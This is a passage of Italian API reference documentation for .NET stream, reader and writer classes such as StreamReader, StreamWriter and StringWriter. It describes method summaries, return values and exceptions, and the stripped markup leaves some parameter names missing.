è un valore negativo o zero. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Quando ne viene eseguito l'override in una classe derivata, cancella tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Si è verificato un errore di I/O. + 2 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Cancella in modo asincrono i dati di tutti i buffer del flusso, determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + Il flusso è stato eliminato. + + + Quando ne viene eseguito l'override in una classe derivata, ottiene la lunghezza in byte del flusso. + Valore long che rappresenta la lunghezza del flusso in byte. + Una classe derivata da Stream non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Oggetto Stream privo di archivio di backup. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene o imposta la posizione all'interno del flusso corrente. + Posizione corrente all'interno del flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, legge una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti. + Numero complessivo di byte letti nel buffer.È possibile che questo numero sia inferiore a quello dei byte richiesti se la quantità di byte disponibili è minore oppure che corrisponda a zero (0) se è stata raggiunta la fine del flusso. + Matrice di byte.Quando questo metodo viene restituito, il buffer contiene la matrice di byte specificata con i valori compresi tra e ( + - 1) sostituiti con i byte letti dall'origine corrente. + Offset dei byte in base zero in in corrispondenza del quale iniziare l'archiviazione dei dati letti dal flusso corrente. + Numero massimo di byte da leggere dal flusso corrente. + La somma di e è maggiore della lunghezza del buffer. + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte letti. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso e sposta in avanti la posizione corrente all'interno del flusso di un byte o restituisce -1 se si trova alla fine del flusso. + Cast di byte senza segno in un parametro Int32 oppure -1 se si trova alla fine del flusso. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la posizione all'interno del flusso corrente. + Nuova posizione all'interno del flusso corrente. + Offset dei byte rispetto al parametro . + Valore di tipo che indica il punto di riferimento usato per ottenere la nuova posizione. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la lunghezza del flusso corrente. + Lunghezza desiderata del flusso corrente in byte. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura e la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, scrive una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti. + Matrice di byte.Questo metodo copia i byte da nel flusso corrente. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero di byte da scrivere nel flusso corrente. + La somma di  e  è maggiore della lunghezza del buffer. + + è null. + + o  è negativo. + Si è verificato un errore dei / o, ad esempio possibile trovare il file specificato. + Il flusso non supporta la scrittura. + + è stato chiamato dopo la chiusura del flusso. + 1 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte scritti. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente del flusso e sposta in avanti di un byte la posizione del flusso. + Byte da scrivere nel flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura o è già chiuso. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Implementa un oggetto che legge i caratteri da un flusso di byte in una particolare codifica.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato. + Flusso da leggere. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con l'opzione specificata per il rilevamento dei byte order mark. + Flusso da leggere. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri specificata. + Flusso da leggere. + Codifica dei caratteri da usare. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri e l'opzione per il rilevamento dei byte order mark specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri, l'opzione per il rilevamento dei byte order mark e le dimensioni del buffer specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + Dimensione minima del buffer. + Il flusso non supporta la lettura. + + o è null. + + è minore o uguale a zero. + + + Inizializza una nuova istanza della classe per il flusso specificato in base alla codifica caratteri, all'opzione per il rilevamento dei byte order mark e alle dimensioni del buffer specificati. Facoltativamente mantiene aperto il flusso. + Flusso da leggere. + Codifica dei caratteri da usare. + true per cercare i byte order mark all'inizio del file; in caso contrario, false. + Dimensione minima del buffer. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + + Restituisce il flusso sottostante. + Flusso sottostante. + 2 + + + Ottiene la codifica caratteri corrente usata dall'oggetto corrente. + Codifica caratteri usata dal lettore corrente.Il valore può essere diverso dopo la prima chiamata a un metodo di , in quanto il rilevamento automatico della codifica non è completo fino alla prima chiamata a un metodo . + 2 + + + Cancella il buffer interno. + 2 + + + Chiude il flusso sottostante, rilascia le risorse non gestite usate dall'oggetto e, facoltativamente, rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene un valore che indica se la posizione corrente del flusso è alla fine del flusso. + true se la posizione corrente del flusso è alla fine del flusso; in caso contrario, false. + Il flusso sottostante è stato eliminato. + 1 + + + Oggetto che include un flusso vuoto. + 1 + + + Restituisce il carattere successivo disponibile senza usarlo. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono presenti caratteri da leggere o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal flusso di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo dal flusso di input rappresentato come oggetto oppure -1 se non sono disponibili altri caratteri. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, iniziando dall'indice specificato. + Numero di caratteri letti oppure 0 se alla fine del flusso non è stato letto alcun dato.Il numero sarà minore o uguale al parametro , a seconda che i dati siano disponibili o meno all'interno del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Indice di da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O, come la chiusura del flusso. + 1 + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal flusso corrente e restituisce i dati come stringa. + Riga successiva del flusso di input oppure null se viene raggiunta la fine del flusso di input. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge una riga di caratteri in modo asincrono dal flusso corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del flusso oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso. + Parte restante del flusso come stringa, dalla posizione corrente alla fine del flusso.Se la posizione corrente è alla fine del flusso, restituisce una stringa vuota (""). + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso in modo asincrono e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e la fine del flusso. + Il numero di caratteri è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto che scrive i caratteri in un flusso con una particolare codifica.Per esaminare il codice sorgente .NET Framework per questo tipo, vedere Origine riferimento. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica UTF-8 e le dimensioni del buffer predefinite. + Flusso in cui scrivere. + + non è modificabile. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + + o è null. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + + o è null. + + è negativo. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + o è null. + + è negativo. + + non è modificabile. + + + Ottiene o imposta un valore che indica se scarica i dati del buffer nel flusso sottostante dopo ogni chiamata a . + true per forzare lo scaricamento del buffer; in caso contrario, false. + 1 + + + Ottiene il flusso sottostante che si interfaccia con un archivio di backup. + Flusso in cui StreamWriter scrive. + 2 + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + + + Ottiene l'oggetto in cui viene scritto l'output. + Oggetto specificato nel costruttore per l'istanza corrente o , se non è stata specificata alcuna codifica. + 2 + + + Cancella tutti i buffer relativi al writer corrente e consente la scrittura dei dati memorizzati nel buffer nel flusso sottostante. + Il writer corrente è chiuso. + Si è verificato un errore di I/O. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Fornisce un oggetto StreamWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive un carattere nel flusso. + Carattere da scrivere nel flusso. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una matrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere.Se è null, non viene scritta alcuna voce. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una sottomatrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una stringa nel flusso. + Stringa da scrivere nel flusso.Se è Null, non viene scritta alcuna voce. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere nel flusso.Se è null, non viene scritta alcuna voce. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono un carattere seguito da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una sottomatrice di caratteri seguiti da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una stringa seguita da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Implementa un oggetto che legge da una stringa. + 2 + + + Inizializza una nuova istanza della classe che legge dalla stringa specificata. + Stringa sulla quale inizializzare . + Il parametro è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Restituisce il carattere successivo disponibile senza utilizzarlo. + Integer che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Il lettore corrente è chiuso. + 2 + + + Legge il carattere successivo dalla stringa di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo della stringa sottostante oppure -1 se non sono disponibili altri caratteri. + Il lettore corrente è chiuso. + 2 + + + Legge un blocco di caratteri dalla stringa di input e fa avanzare la posizione del carattere di . + Numero complessivo di caratteri letti nel buffer.È possibile che sia inferiore al numero di caratteri richiesti se la quantità di caratteri non è correntemente disponibile oppure può corrispondere a zero se è stata raggiunta la fine della stringa sottostante. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Indice iniziale nel buffer. + Numero di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dalla stringa corrente e restituisce i dati come stringa. + Riga successiva della stringa corrente oppure null se viene raggiunta la fine della stringa. + Il lettore corrente è chiuso. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + 2 + + + Legge una riga di caratteri in modo asincrono dalla stringa corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di stringhe oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Contenuto dalla posizione corrente alla fine della stringa sottostante. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità della stringa. + Il numero di caratteri è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto per la scrittura di informazioni in una stringa.Le informazioni vengono archiviate in un oggetto sottostante. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il controllo di formato specificato. + Oggetto che controlla la formattazione. + + + Inizializza una nuova istanza della classe che scrive nell'oggetto specificato. + Oggetto StringBuilder in cui scrivere. + + è null. + + + Inizializza una nuova istanza della classe che scrive nello specificato e dispone del provider di formato specificato. + Oggetto StringBuilder in cui scrivere. + Oggetto che controlla la formattazione. + + è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Recupera l'oggetto in cui viene scritto l'output. + Encoding in cui viene scritto l'output. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di svuotamento asincrona. + + + Restituisce l'oggetto sottostante. + StringBuilder sottostante. + 2 + + + Restituisce una stringa contenente i caratteri scritti finora nell'oggetto StringWriter corrente. + Stringa contenente i caratteri scritti nell'oggetto StringWriter corrente. + 2 + + + Scrive un carattere nella stringa. + Carattere da inserire. + Il writer è chiuso. + 2 + + + Scrive una sottomatrice di caratteri nella stringa. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + Il valore di o è negativo. + ( + )> .Length. + Il writer è chiuso. + 2 + + + Scrive una stringa nella stringa corrente. + Stringa da scrivere. + Il writer è chiuso. + 2 + + + Scrive un carattere nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nella stringa corrente in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa un carattere seguito in modo asincrono da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa una sottomatrice di caratteri seguiti da un terminatore di riga in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa, seguita in modo asincrono da un terminatore di riga, nella stringa attuale. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Rappresenta un visualizzatore in grado di leggere una serie sequenziale di caratteri. + 2 + + + Inizializza una nuova istanza della classe . + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Fornisce un oggetto TextReader senza dati da cui sia possibile eseguire letture. + 1 + + + Legge il carattere successivo senza modificare lo stato del visualizzatore o dell'origine del carattere.Restituisce il successivo carattere disponibile senza leggerlo effettivamente dal lettore. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il lettore non supporta la 